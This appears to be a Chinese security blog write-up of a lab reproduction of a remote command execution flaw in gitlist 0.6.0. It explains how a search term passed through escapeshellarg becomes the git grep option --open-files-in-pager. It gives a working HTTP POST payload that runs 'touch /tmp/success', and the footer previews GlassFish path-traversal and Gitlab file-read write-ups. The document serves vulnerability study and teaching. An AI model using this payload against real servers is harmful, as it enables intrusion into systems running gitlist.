gitlist 0.6.0 远程命令执行漏洞


gitlist 0.6.0 远程命令执行漏洞

gitlist是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本中,存在一处命令参数注入问题,可以导致远程命令执行漏洞。

漏洞原理

在用户对仓库中代码进行搜索的时候,gitlist将调用git grep命令:

public function searchTree($query, $branch)
{
    if (empty($query)) {
        return null;
    }

    $query = escapeshellarg($query);

    try {
        $results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (\RuntimeException $e) {
        return false;
    }

其中,$query是搜索的关键字,$branch是搜索的分支。
如果用户输入的$query的值是--open-files-in-pager=id;,将可以执行id命令:

导致这个漏洞的原因,有几点:

  1. 开发者对于escapeshellarg函数的误解,造成参数注入
  2. git grep的参数–open-files-in-pager的值,将被直接执行
    理论上,在经过$query = escapeshellarg($query);处理后,$query将变成一个由单引号包裹的字符串。但不出漏洞的前提是,这个字符串应该出现在“参数值”的位置,而不是出现在参数选项(option)中。

我们可以试一下如下命令:

git grep -i --line-number -e '--open-files-in-pager=id;' master

如上图,我将$query放在了-e参数的值的位置,此时它就仅仅是一个字符串而已,并不会被当成参数--open-files-in-pager

漏洞复现

POST /example/tree/a/search HTTP/1.1
Host: your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 56

query=--open-files-in-pager=touch /tmp/success;

其中,我们访问的是/example/tree/a/searchexample是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是"grep -i --line-number {$query} $branch"中的$branch,但因为我们的$query被当成了一个参数,所以$branch就应该被当做搜索的关键字。

如果没有搜索结果的话,我们的命令是不会被执行的,所以我用了“a”这个关键字,只是为了保证能搜出结果,你也可以换成其他的试试。

数据包发送后,用docker-compose exec web bash进入容器中,可见/tmp/success已成功创建:


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
GlassFish 任意文件读取漏洞 GlassFish 任意文件读取漏洞
GlassFish 任意文件读取漏洞原理java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意
2019-02-18
下一篇 
Gitlab 任意文件读取漏洞 Gitlab 任意文件读取漏洞
Gitlab 任意文件读取漏洞(CVE-2016-9086)Gitlab版本:8.13.1原理剖析:http://paper.seebug.org/104/ 漏洞复现环境运行后,Web端口为10080,ssh端口为10022。访问http:
2019-02-17
  目录